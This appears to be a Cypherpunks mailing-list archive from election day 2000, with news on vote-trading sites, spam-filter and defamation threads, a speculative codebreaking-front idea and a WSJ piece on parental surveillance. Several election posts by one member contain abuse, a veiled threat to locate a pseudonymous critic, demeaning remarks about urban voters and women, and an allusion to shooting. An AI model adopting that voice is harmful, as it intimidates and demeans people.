Democrats agree to vote for Nader in states where Republican George W. Bush is expected to win. The trades, not sanctioned by the campaigns, could help Gore in swing states and give the Green Party the 5 percent of the national vote it needs to win federal campaign money. Three sites voluntarily shut down last week after Jones told one it was violating state election laws. Officials in Oregon have issued similar warnings. Jones hailed the ruling. "Votes are not a commodity," he said. "In California, it is illegal to buy, sell or trade votes for anything of value -- including another vote." The ACLU said it would appeal, saying such exchanges between voters are protected and that agreeing to a voting strategy is different from offering payment for a vote. Massachusetts goes after vote auctioneers State officials in Massachusetts did not try to halt two so-called "Nader Trader" Web sites, www.winwincampaign.org and www.nadertrader.com. The activity on both sites was described as voluntary and involved no contract or exchange of money. "You cant give away your vote for something of value, but because there is no material gain, its not ... clearly in violation of federal law," said Harvard Law School professor Jonathan Zittrain. Under federal law, buying and selling votes is punishable by up to five years in prison, $10,000 in fines or both. However, a Massachusetts judge on Monday temporarily halted an Austrian Web site owner from buying or selling votes in the U.S. presidential election. Suffolk Superior Court Judge Maria Lopez granted an injunction against "the people operating this Web site and anybody else" who attempted to operate the site or sell their vote. Hans Bernhard of Vienna, Austria, who was identified as owning the site, had no representative at the hearing. Prosecutors told Lopez that as of Monday morning 1,116 state voters had registered with the site that was offering a total of $13,000 for their votes. The order meant Massachusetts joined Illinois, California and Nebraska in trying to shut down the Web site. The sites domain name has changed several times since been subjected to legal challenges in U.S. courts in recent weeks. It began as voteauction.com and last week was vote-auction.com. Following a temporary shutdown, the content of the site was resurrected by using a pure Internet protocol (IP) address (devoid of a domain name) and was still on the Web as of Tuesday morning. David Kerrigan, the Massachusetts state assistant attorney general, said his office did not know the identities of the voters who registered with the site, but hoped that the operator "will abide by the court order." Bernhard could not be reached for comment. http://www.cnn.com/2000/TECH/computing/11/07/internet.vote/index.html From fd at ndh.net Tue Nov 7 04:30:32 2000 From: fd at ndh.net (Frank Dick) Date: Tue, 7 Nov 2000 13:30:32 +0100 Subject: CDR: Crypto law in Malta Message-ID: <20001107133032.C22031@ndh.net> Hello, does anybody knows something about a crypto law in Malta? Regards Frank From imail-html-help at lists.ifilm.com Tue Nov 7 05:33:24 2000 From: imail-html-help at lists.ifilm.com (imail-html-help at lists.ifilm.com) Date: 7 Nov 2000 13:33:24 -0000 Subject: CDR: ezmlm response Message-ID: <973604004.64994.ezmlm@lists.ifilm.com> Thanks for signing up to the IFILM Newsletter. However, we've noticed that you already have a subscription. To change any of your personal options, please use the "sign-in" option located in the navigation menu on the top of the IFILM home page. If you feel that you have received this message in error, let us know -- info at ifilm.com. Thank you. IFILM -- The Place For Internet Film http://www.ifilm.com From bill.stewart at pobox.com Tue Nov 7 13:43:23 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 07 Nov 2000 13:43:23 -0800 Subject: CDR: Re: Will it never end ... In-Reply-To: Message-ID: <3.0.5.32.20001107134323.00abae70@idiom.com> At 11:14 AM 11/7/00 -0500, Peter Capelli/Raleigh/Contr/IBM wrote: >I went down to vote today, and noticed some signs for a state-wide school >bond issue ($3.1 BILLION) (NC). The slogan was what caught my eye: > >"Do it for the children" and, "It will not raise your taxes". > >I didn't know whether to laugh, or cry. Well, if they hadn'd had public education in the past, maybe they should get some. But if they _are_ trying to appeal to people who've had public education, obviously it's not a good deal :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From ericm at lne.com Tue Nov 7 11:10:13 2000 From: ericm at lne.com (Eric Murray) Date: Tue, 7 Nov 2000 14:10:13 -0500 Subject: CDR: Re: [Spam wars, continued...] In-Reply-To: <3.0.5.32.20001106203731.009b9770@idiom.com>; from bill.stewart@pobox.com on Mon, Nov 06, 2000 at 08:37:31PM -0800 References: <20001105131655.A5590@cluebot.com> <3.0.5.32.20001106203731.009b9770@idiom.com> Message-ID: <20001107105025.A26280@slack.lne.com> On Mon, Nov 06, 2000 at 08:37:31PM -0800, Bill Stewart wrote: > > At 12:22 PM 11/5/00 -0600, Jim Choate wrote: > >On Sun, 5 Nov 2000, Declan McCullagh wrote: > > > >> Well, let's take this up one level of abstraction. We can stop spam > >> from flooding our inboxes (an economic bad) by: > >> 1. law > >"Congress shall make no law ...". > >> 3. cypherpunkly end-user technology > >I obviously support anything an individual wishes to do with respect to > >making choices, provided they don't involve me without consent. This > >aspect should be pushed strongly. > > I agree with Jim that anti-spam laws are bad in principle; > in practice they're usually worse :-) > Some kinds of cypherpunks technology don't involve the law; some do. > For instance, user-supplied filters can trigger libel laws > ("Hey, your filter called me a SPAMMER! I'll SUE!"). Maybe I'm too limited in my thinking, but I don't see this actually happening with usr-level filtering. Mostly for the simple reason that it doesn't make sense to send anything back to the spammer. They're usually spamming from a bogus address or a throw-away or pointing >From: and Reply-to: to some unfortunate victim. In the latter two cases, the recipient's email account soon overflows with complaints. So there's not much use in replying to spam. All the recpient can do is filter it into a seperate file or throw it out entirely. The spammer will not know what action users have taken, so they can't complain. This is different from the MAPS case, where the sites that use MAPS (and RBL etc) refuse to accept mail identified by MAPS as coming from spam sites or open relays. This way, the spammer finds out that their spam is rejected, and there's a big organization (MAPS or larger sites using it) to go after. If it's a "cypherpunks technology" spam filter, then there's no commercial program for spammers to test their spam on and no company to sue. In any case, I beleive that end-user spam filters should allow individual users to customize the filters or replace them entirely. I've written a simple user-level filter that attempts to recognize spam by the emails content instead of the headers. It's still a crude experiment at this point, but it seems to be working ok for me. http://www.lne.com/ericm/spammaster/ -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 From bill.stewart at pobox.com Tue Nov 7 14:22:20 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 07 Nov 2000 14:22:20 -0800 Subject: CDR: Re: [Spam wars, continued...] In-Reply-To: <20001107112530.A11541@ideath.parrhesia.com> References: <20001107105025.A26280@slack.lne.com> <20001105131655.A5590@cluebot.com> <3.0.5.32.20001106203731.009b9770@idiom.com> <20001107105025.A26280@slack.lne.com> Message-ID: <3.0.5.32.20001107142220.00b4eda0@idiom.com> At 11:25 AM 11/7/00 -0800, Greg Broiles wrote: >On Tue, Nov 07, 2000 at 10:50:25AM -0800, Eric Murray wrote: >> On Mon, Nov 06, 2000 at 08:37:31PM -0800, Bill Stewart wrote: >> > I agree with Jim that anti-spam laws are bad in principle; >> > in practice they're usually worse :-) >> > Some kinds of cypherpunks technology don't involve the law; some do. >> > For instance, user-supplied filters can trigger libel laws >> > ("Hey, your filter called me a SPAMMER! I'll SUE!"). >> >> Maybe I'm too limited in my thinking, but I don't see this actually >> happening with usr-level filtering. Mostly for the simple reason that >> it doesn't make sense to send anything back to the spammer. > >Even if they did, there's no argument for defamation liability - >all of the popular flavors of defamation (slander, libel, invasion >of privacy) require that the defamatory content be made available >to third parties (e.g., not the plaintiff nor the defendant). I was thinking about filters that are installed by the user, but might get their lists of spammer / spams from a rating service, just as censorware products get lists from services. For instance, there are some patterns that are obvious spam and once you've seen them twice, you block them, but there's a lot of randomly worded spam out there which a spam-rating service could help you block. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From gbroiles at netbox.com Tue Nov 7 11:46:18 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 7 Nov 2000 14:46:18 -0500 Subject: CDR: Re: [Spam wars, continued...] In-Reply-To: <20001107105025.A26280@slack.lne.com>; from ericm@lne.com on Tue, Nov 07, 2000 at 10:50:25AM -0800 References: <20001105131655.A5590@cluebot.com> <3.0.5.32.20001106203731.009b9770@idiom.com> <20001107105025.A26280@slack.lne.com> Message-ID: <20001107112530.A11541@ideath.parrhesia.com> On Tue, Nov 07, 2000 at 10:50:25AM -0800, Eric Murray wrote: > On Mon, Nov 06, 2000 at 08:37:31PM -0800, Bill Stewart wrote: > > I agree with Jim that anti-spam laws are bad in principle; > > in practice they're usually worse :-) > > Some kinds of cypherpunks technology don't involve the law; some do. > > For instance, user-supplied filters can trigger libel laws > > ("Hey, your filter called me a SPAMMER! I'll SUE!"). > > Maybe I'm too limited in my thinking, but I don't see this actually > happening with usr-level filtering. Mostly for the simple reason that > it doesn't make sense to send anything back to the spammer. Even if they did, there's no argument for defamation liability - all of the popular flavors of defamation (slander, libel, invasion of privacy) require that the defamatory content be made available to third parties (e.g., not the plaintiff nor the defendant). User-configured spam blockers don't create risk of defamation (or interference with contract, etc.) liability - but supplying block lists to other users does. However, there's a line of caselaw which says that there's an exception to traditional defamation liability, where the speaker acts with a good purpose, to warn others of a perceived danger; perhaps that would be a useful approach for the MAPS people to take. They're the ones with their necks on the chopping blocks. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From bear at sonic.net Tue Nov 7 16:01:47 2000 From: bear at sonic.net (Ray Dillinger) Date: Tue, 7 Nov 2000 16:01:47 -0800 (PST) Subject: CDR: Codebreaking with a multi-Teraflops network: one technique Message-ID: Let's say you're a high-level spook, and you've got a bunch of encrypted intercepts of uncertain origin. Gigabytes and gigabytes of them. Maybe they came with partial keys, maybe they are only 40-bit or 56-bit keyed in the first place. Maybe you have partial keys on some of them (from the "work reduction fields" or whatever on lotus notes for example). You don't have any knowledge that would link a particular one of these with a particular case, but you strongly suspect that somewhere in there are a few dozen that bear on cases you're investigating, and maybe a few dozen more that would be good leads into cases you ought to investigate. You'd like to focus a few dozen Teraflops of processing power on it, but most of your machines are taken up with higher-priority projects pertaining to identifiable cases, or to projects that have better odds of near-term success. What can you do? It should be childs play to set up a "front", as a scientific or charitable organization. Dream up a CPU-intensive task that engages people's imagination or sense of wonder, but which nobody would expect results from anytime soon. Write pages and pages about having written the kind of software you'd need to run to work on that problem -- the Great Idea, the problems, the triumphs and tribulations, the agonizing decisions and occasional design compromises and limitations, and the satisfaction with the end result. All fiction, but hey, this is just a front, right? Now, take your code breaking software and add some pretty graphics to it. Graphics and messages that have to do with the fake project you dreamed up. Arrange it so it runs as a screensaver. Set up a server that breaks the keyspaces and intercepts you need to check into chunks, and let people download chunks to work on and upload results. Set up elaborate tracking stuff that tells how many CPU- hours, how many work units, etc, each contributor has contributed. Hire a bunch of people at the front organization who sincerely believe that all these cycles are expended on the fake project, and let them effusively thank all the people who download and run the software. Explain that you can't release the source, because then people would modify it and your scientific data might be corrupted. It could work. >From the outside, it would look a lot like the SetiAtHome project. Just a thought. Bear From tcmay at got.net Tue Nov 7 16:18:36 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 16:18:36 -0800 Subject: CDR: Courts interfering with election Message-ID: I thought I was jaded, but this is too much even for me to believe. A judge in St. Louis has ordered the polls kept open later, until 10 pm local time. The effect will be to let more inner city, Democrat-leaning voters vote. The rural and suburban polling places will close at the normal times. Whew. Democrats are elated that more of their supporters will be able to vote in the extra hours. A similar measure was turned down in another state (Kansas?). Democrats in other urban areas are hustling to see if they can get their own bought judges involved in the process. A stunning theft of the election. If these "late Democrats" turn out to be the margin of victory, this will energize the anger of the Republicans. Amazing. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Tue Nov 7 16:21:50 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 07 Nov 2000 16:21:50 -0800 Subject: CDR: Re: Codebreaking with a multi-Teraflops network: one technique In-Reply-To: Message-ID: <3.0.5.32.20001107162150.00af0100@idiom.com> At 04:01 PM 11/7/00 -0800, Ray Dillinger wrote: > >Let's say you're a high-level spook, and you've got a bunch of >encrypted intercepts of uncertain origin. Gigabytes and gigabytes ... >It should be childs play to set up a "front", as a scientific or >charitable organization. Dream up a CPU-intensive task that engages ... >Hire a bunch of people at the front organization who sincerely >believe that all these cycles are expended on the fake project, >and let them effusively thank all the people who download and run >the software. Explain that you can't release the source, because >then people would modify it and your scientific data might be >corrupted. Scamming Extra Teraflops for Intelligence ?? :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Tue Nov 7 16:34:24 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 07 Nov 2000 16:34:24 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: Message-ID: <3.0.5.32.20001107163424.00aeda10@idiom.com> At 04:18 PM 11/7/00 -0800, Tim May wrote: > >I thought I was jaded, but this is too much even for me to believe. > >A judge in St. Louis has ordered the polls kept open later, until 10 >pm local time. The effect will be to let more inner city, >Democrat-leaning voters vote. > >The rural and suburban polling places will close at the normal times. Vote late and often! It's especially useful if there are enough Nader votes that the Democrats need some last-minute metabolically challenged voters to help out. After the 1990 census, New Jersey was redoing the gerrymander to help solidify Republican and Democrat districts. They wanted to make a majority-Hispanic district, so they expanded the boundaries of one district to include Rahway Prison, which has a lot of blacks and Hispanics in it..... Who are mostly convicted felons, and can't vote. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tcmay at got.net Tue Nov 7 16:39:01 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 16:39:01 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: References: Message-ID: At 4:18 PM -0800 11/7/00, Tim May wrote: >I thought I was jaded, but this is too much even for me to believe. > >A judge in St. Louis has ordered the polls kept open later, until 10 >pm local time. The effect will be to let more inner city, >Democrat-leaning voters vote. > >The rural and suburban polling places will close at the normal times. > >Whew. > >Democrats are elated that more of their supporters will be able to >vote in the extra hours. > >A similar measure was turned down in another state (Kansas?). > >Democrats in other urban areas are hustling to see if they can get >their own bought judges involved in the process. > >A stunning theft of the election. If these "late Democrats" turn out >to be the margin of victory, this will energize the anger of the >Republicans. I just had a Cypherpunks numbskull (who was also actively on the wrong side in the Elian debate) send me private mail asking why I would object to this. His exact words were: "It's hard to imagine that someone quite disgusted with our pseudo-democratic government will argue against ensuring that everyone has a chance to vote ..." Sometimes I despair. We may need to make a list of the Cypherpunks idiots here and "mark them for deletion" during the next GC. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at ssz.com Tue Nov 7 14:49:29 2000 From: ravage at ssz.com (Jim Choate) Date: Tue, 7 Nov 2000 16:49:29 -0600 (CST) Subject: CDR: [Spam wars, continued...] In-Reply-To: <3.0.5.32.20001106203731.009b9770@idiom.com> Message-ID: On Mon, 6 Nov 2000, Bill Stewart wrote: > But social contracts and economics are two sides of the same coin. No, they're two facets of a many faceted coin. Human psychology. Besides birds and bee's have 'economics' but don't have 'social contracts'. So clearly there is a context dependency you're missing. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From newsletters at worldwidelists.com Tue Nov 7 14:43:24 2000 From: newsletters at worldwidelists.com (newsletters at worldwidelists.com) Date: Tue, 7 Nov 2000 17:43:24 -0500 (EST) Subject: CDR: Cypherpunks, Free newsletters added to Worldwidelists.com! Message-ID: <200011072243.RAA35107@whbsd003.webhosting.com> ---------------------------------------------------------------------------------- Cypherpunks, this message is brought to you by Worldwidelists.com The E-mail Newsletter Network. We appreciate your subscription. This e-mail message is never sent unsolicited. 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Topics include taking great care of yourself, enjoying your life and living well, loving yourself and having fun, and creating healthy habits that work for you. Find it in the Women category: http://www.worldwidelists.com/women.html ~~~~~ THE STRESS FREE LIFE NEWSLETTER A newsletter to support and inspire you to start eliminating stress in your life. Written by a coach who will be coaching you to start taking action. Find it in the Self-Improvement category: http://www.worldwidelists.com/self-improvement.html ~~~~~ COUPONCENTRAL.COM BARGAINS AND FREEBIES get a the latest bargains and freebies every Friday from couponcentral.com. If you like saving money, you will like this newsletter. We also feature reviews of other bargain sites and coupon sites. Find it in the Shopping category: http://www.worldwidelists.com/shopping.html ~~~~~ WEB ADVANTAGE'S MARKETING TIP LIST got the internet blues? Web ad.vantage's internet marketing tips make e-marketing understandable. Our weekly newsletter consists of easy-to-understand, informative internet marketing tidbits and how-to's, all written with a dash of wit and minimal techno-jargon. Find it in the Business category: http://www.worldwidelists.com/business.html P.S. Cypherpunks, forward this message to your friends so they don't miss out on these great newsletters! ---------------------------------------------------------------------------------- To remove yourself from future Worldwidelists.com updates, click on the following link while connected to the Web: http://www.worldwidelists.com/cgi-bin/unsubs.cgi?23238=cypherpunks at toad.com/99999_updatenotify From tcmay at got.net Tue Nov 7 17:52:38 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 17:52:38 -0800 Subject: CDR: RE: Courts interfering with election In-Reply-To: <090825D1E60BD311B8390090276D5C4965DCF9@galileo.luminousnetworks.com> References: <090825D1E60BD311B8390090276D5C4965DCF9@galileo.luminousnetworks.com> Message-ID: Ernest Hua has asked me to call him a numbskull directly. Apparently he did not like my "someone" reference. So I am obliging. >And he says he will not send me anything he doesn't mind having >shared with the rest of the list. And in a later message he defended >the St. Louis legal action by saying "The new rules do not say >"Republicans not allowed during those two hours". His message follows: At 5:44 PM -0800 11/7/00, Ernest Hua wrote: >Look, if you want to call me a "numbskull" feel free to do that to >me directly. And, I will surely not send you something I am not >willing to share with the rest of the list. You aren't that special. > >Ern Retardation is a dangerous thing. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bear at sonic.net Tue Nov 7 14:59:03 2000 From: bear at sonic.net (Ray Dillinger) Date: Tue, 7 Nov 2000 17:59:03 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: <3.0.5.32.20001107080552.0094dad0@207.69.200.219> Message-ID: On Tue, 7 Nov 2000, David Honig wrote: >At 09:00 PM 11/6/00 -0800, Ray Dillinger wrote: >>On Mon, 6 Nov 2000, David Honig wrote: >>>* running water >>>* N toilets per hectare >>>* electricity >>>* walls, stairs, floors made to certain state minima (standards) >>>* N metres of terra between A and B >> >>Um. Not true. Many of my relatives do without the first three >>owing to religious proscription. >Wow, you're related to the Amish? Yeah. They really are an amazing bunch and have done an astonishing amount of work on the civil-rights front. One of my grandfathers was born to an Amish family but eventually married outside that community and, um, left. But we still go occasionally to family reunions, and we are still welcome there. >Anyway the English :-) may make exceptions for the Amish, but generally, >and even in rural america, you can't sell a house for human (chiiiildren) >occupation >that's not wired for classical infrastructure ---water, wires, N lbs/ft^2. I don't think so. As I understand matters, the laws in most of the US are that *IF* there is electrical wiring, then it must meet certain standards, and *IF* there are indoor toilets then they must meet certain standards, and etc. These laws simply do not apply to homes built without these things. :-) FWIW, referring to those outside the community as "English" is a Pennsylvania thing. In other centers, where the Amish are themselves mainly english-speaking, the term in use is "Outlander". So when my cousins refer to me as having "Outlandish" ideas or ways, I know exactly what they mean. Unlike most of the people who use the word about me, they are just being literal. Bear From George at Orwellian.Org Tue Nov 7 15:04:33 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 7 Nov 2000 18:04:33 -0500 (EST) Subject: CDR: Parents tracking kids - locations and transactions Message-ID: <200011072304.SAA28239@www9.aa.psiweb.com> If I ever have a daughter, I'm going to name her Nipples. ---- http://interactive.wsj.com/articles/SB973467133455018998.htm November 6, 2000 It's Not Big Brother Invading Kids' Privacy, It's Mom and Dad By ANDREA PETERSEN Staff Reporter, of THE WALL STREET JOURNAL Lindsey Bargo, 15 years old, was triumphantly strolling out of a Gap store with her new $149.99 black leather jacket when her cell phone rang. It was her mother. "A leather jacket? Are you sure this is what you need with your money?" Julie Bargo recalls saying to her daughter. Although Ms. Bargo was more than a hundred miles away in her State College, Pa., office at AccuWeather, she still knew what Lindsey was doing. Every time her daughter buys something with her debit card, Ms. Bargo, an Internet executive, gets an instant e-mail from PocketCard Inc. (www.pocketcard.com), with details on how much Lindsey spent, where she spent it and the date and time. Sometimes, as in this case, it even tells her what the money was spent on. "I told her, 'You can't hide from me,' '' Ms. Bargo says. In the age-old battle between independence-seeking teenagers and worried parents, the older generation is packing some new weapons. Caller ID tells parents who is calling their kids. Cell-phone bills detail every local number the kid has called. EZ-Pass, the electronic toll-taker, records the exact time and place that junior starts cruising along the New Jersey Turnpike, and puts it all on statements. New computer programs track just about everything -- every Web site visited, every e-mail sent -- that a teenager does online. And parental reconnaissance is going to get a lot more intense. New technologies will soon allow parents to download live Web-cam videos onto their cell phones, showing exactly what is going on at home while they are away. Companies such as SnapTrack and Trimble Navigation are launching technologies that will turn cell phones into homing devices so parents will always know where their kids are. Daniel Rosen was brought down by an electronic version of a trail of bread crumbs. While the 13-year-old from West Chester, Pa., has his own computer and access to America Online, his parents use AOL's parental controls, which permit Daniel to go only to those Web sites deemed appropriate for young teens. But that wasn't enough to keep Daniel from wandering around the Web. While his parents weren't looking, Daniel broke into his father's AOL account and visited some X-rated Web sites. "He cracked my password," says the boy's dad, Mike Rosen, who is the chief executive of an Internet software company, 2Ce Inc., in King of Prussia, Pa. "He just tried everything he could think of." Daniel says it wasn't all that hard; the password had been saved on the computer. Mr. Rosen might never have known about the security breach, but his son left electronic fingerprints. Mr. Rosen started getting unsolicited e-mail messages from pornographic Web sites. Curious, he looked at the browser cache on his computer -- the record of sites visited -- and found addresses with risque names. Mr. Rosen then checked his cookie file. The porn sites had sent a number of cookies -- little computer programs that recognize a returning visitor and track his movements -- onto Mr. Rosen's hard drive. Daniel was in big trouble. "I scared the hell out of him," Mr. Rosen says. "I told him he could go to jail for going into somebody's computer." Daniel fessed up. His punishment? A month without using the computer for anything but homework. "I got busted," Daniel says sheepishly. "I think my dad can see wherever I go." Many parents can do exactly that. Norm Zurawski, a locksmith in Schofield, Wis., and the father of three children, uses a computer program called Spector to track everything his kids do on the computer. The program takes frequent electronic "snapshots" of the computer screen and lets Mr. Zurawski replay the action later. The kids don't know how he sees what they are doing. Mr. Zurawksi's elder son, 17-year-old Nate, has felt the effects, however. When Nate was caught visiting some pornographic Web sites, his father forbade him to go online for a week. But after Mr. Zurawski unplugged the family's high-speed DSL Internet connection and went to sleep, Nate plugged his computer into a dial-up phone line and got to the Internet using a friend's AOL screen name. "I knew what was going on because I got these AOL screen shots," Mr. Zurawksi says. Circling the Posse Even when kids aren't caught red-handed, their parents' technology tools can cramp their style. Brandon Diamond, 16, got a pager earlier this year, and most of his friends have cell phones. The kids use them to stay in touch with one another -- and with their parents -- during afternoons hanging out in the pool halls and bowling alleys of Pace, Fla. But Brandon says the cell phones and pagers have made it easier for parents, who've got all their numbers, to keep track of everybody in his posse. "It is like the parents' secret service," Brandon says. "All the parents check in with each other, so you've got to be good and not act stupid." The pager does have one advantage for Brandon. He isn't expected home at night now until 10:30 (his old curfew was 9:30) because, he says, his parents feel more comfortable knowing they can always reach him. But being in touch can ruin a tender teenage moment. Aaron Fleishman, 16, was at his girlfriend Moira's house when his mother called him on his cell phone to find out when he was coming home. The young couple was busy making out and the call, Aaron says, killed the mood. "My girlfriend was sort of upset," he says. "It is kind of annoying that my parents can call me anytime." Couldn't he have just turned off his cell phone? No, he says -- he'd get a lecture from his parents. Of course, for every new parental trick, there are kids figuring out ways to thwart it. Zak Ellsworth's parents tried to keep tabs on him by installing caller-ID on their home phone and looking through the browser cache and cookie file on his computer. "My parents keep me on a short leash," he says. But they were no match for Zak, a 17-year-old high-school senior in Reno, Nev., who maintains the computers for his school's Junior ROTC program. After going online, Zak simply erases any tracks by clearing the computer's browser cache ("There's a little button in Internet Explorer that says 'erase history,' " he says.) He also cleans out his computer's cookie file. If teenagers think they have it bad, they should be thankful they aren't in their little brother's and sister's shoes. Companies are getting ready to unleash more powerful methods of surveillance. Xanboo Inc. (www.xanboo.com), in New York, plans to begin selling a $179.95 home-surveillance system in January. It will include a camera and a motion sensor, so worried parents can get an e-mail at work telling them when the front door is opened. A camera will beam live video of all who enter. PacketVideo Corp. (www.packetvideo.com), in San Diego, Calif., is taking the idea even further. Early next year it expects to offer technology that will send streaming video to a parent's cell phone. "You'll be able to check on your kids from anywhere," says Jim Carol, PacketVideo's chief executive. Kids on the Map A number of companies are creating global-positioning system technology to embed in cell phones and electronic personal organizers. Qualcomm Inc. is already shipping chip sets with built-in GPS technology to cell-phone hardware manufacturers. They can be used for everything from beaming driving directions to keeping track of elderly parents. "You could imagine logging onto a Web site and typing in a cell-phone number, and a map pops up to tell you where your teenage kid is," says Steve Poizner, president of the company's SnapTrack subsidiary. Applied Digital Solutions, in Palm Beach, Fla., is getting ready to unveil Digital Angel, which it plans to put in everything from cell phones to bracelets and luggage tags. Not only will Digital Angel tell where a person wearing the device is located, it can also record heart rate and body temperature. So the device will suit cardiac patients and nervous parents alike. The company has a patent for a device that can be surgically implanted beneath the skin. From tcmay at got.net Tue Nov 7 18:16:55 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 18:16:55 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080135.UAA14626@www8.aa.psiweb.com> References: <200011080135.UAA14626@www8.aa.psiweb.com> Message-ID: At 8:35 PM -0500 11/7/00, George at orwellian.org wrote: >TimMay wrote: ># I thought I was jaded, but this is too much even for me to believe. ># ># A judge in St. Louis has ordered the polls kept open later, until 10 ># pm local time. The effect will be to let more inner city, ># Democrat-leaning voters vote. > >What a lame-ass complaint. > >For some reason, certain polling areas got jammed up, >as in long lines. The court agreed to keep the polls >open longer so the people could vote. It didn't matter >who the people might vote for, despite the Democrats >asking for the extended hours. Yes, the Democrats pushed for this. In other states, the unions gave their members the day off. At least this is the established way to buy votes. Having the courts extend the hours so that more inner city mutants can stagger down to the polls is inexcusable. > >The Republicans actually went into federal court to >try and block this, and failed. And it would serve the Democretins right if an appeals court ultimately reverses the decision to extend the polling hours and throws out _all_ of the tainted votes. > >Did you expect a Republican judge to say no since >the people who might be unable to vote by the normal >deadline were Democrats? I expect "The polling hours are 7 a.m. to 8 p.m." to be upheld. People arrange their schedules accordingly. If they work hours such that they cannot be at the polling places during these hours, they obtain absentee ballots. Or they take personal time off of work. Or they go in an hour later. Etc. > >What's your objection to people voting? Try not to >mention a political party in your reply. No, my objection is a change in the rules at the 11th hour, instigated by one party. I would be just as incensed if Palm Springs and West Palm Beach had changes made to their voting situations as a result of Republican legal actions a few hours before the polls were to close. As to your insults lobbed at me, _you're_ the one hiding behind a nym. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Tue Nov 7 18:20:11 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 18:20:11 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080152.UAA24192@www7.aa.psiweb.com> References: <200011080152.UAA24192@www7.aa.psiweb.com> Message-ID: At 8:52 PM -0500 11/7/00, George at orwellian.org wrote: > >TimMay was entirely silent on why he objects to this time extension. You lying sack of shit. I've made my objections very, very clear. I need to find out who you are and where you live. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From remove at vidbot.com Tue Nov 7 18:32:15 2000 From: remove at vidbot.com (VidBot) Date: Tue, 7 Nov 2000 18:32:15 -0800 (PST) Subject: CDR: Check out this video! Message-ID: <200011080232.SAA08087@toad.com> These videos are super funny! Check them out! Title: The "Vampire Condom" http://www.vidbot.com/cgi/Find?tn=details&VideoUID=17372499 Title: "Troops" - A spoof of the show "Cops" with Star Wars Imperial Troopers. http://www.vidbot.com/cgi/Find?tn=details&VideoUID=51192332 This video brought to you by Vidbot - Your Guide to Streaming Video on the Web http://www.vidbot.com ------------------------------------------------------------- If you would like to be removed from any future mailings please reply to this message or send mail to: mailto:remove at vidbot.com?subject=remove with 'remove' in the subject ------------------------------------------------------------ From tcmay at got.net Tue Nov 7 18:32:52 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 18:32:52 -0800 Subject: CDR: Re: election In-Reply-To: References: Message-ID: At 8:05 PM -0600 11/7/00, Mac Norton wrote: >The women in Michigan did it, the women in Penn. did it, >the women in Fla. did it. Wake up punks, it's the wimmens. >They rule. Yep. The "why can't we all just get along, it's for the children, guns are icky, we want more health care, you men leave the seat up, capitalism exploits womyn" commies and fellow travellers. The mother of all gender gaps, so to speak, is opening up. Chalk it up to too much democracy, too many things up for popular vote by the herd. One good note, though, CNN is reporting that Ohio went to Bush and that gun owners probably had a major effect. Women vs. gun owners. Why am I not surprised? If and when it comes to us shooting to protect our rights, the PMS set had better work on their marksmanship. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From 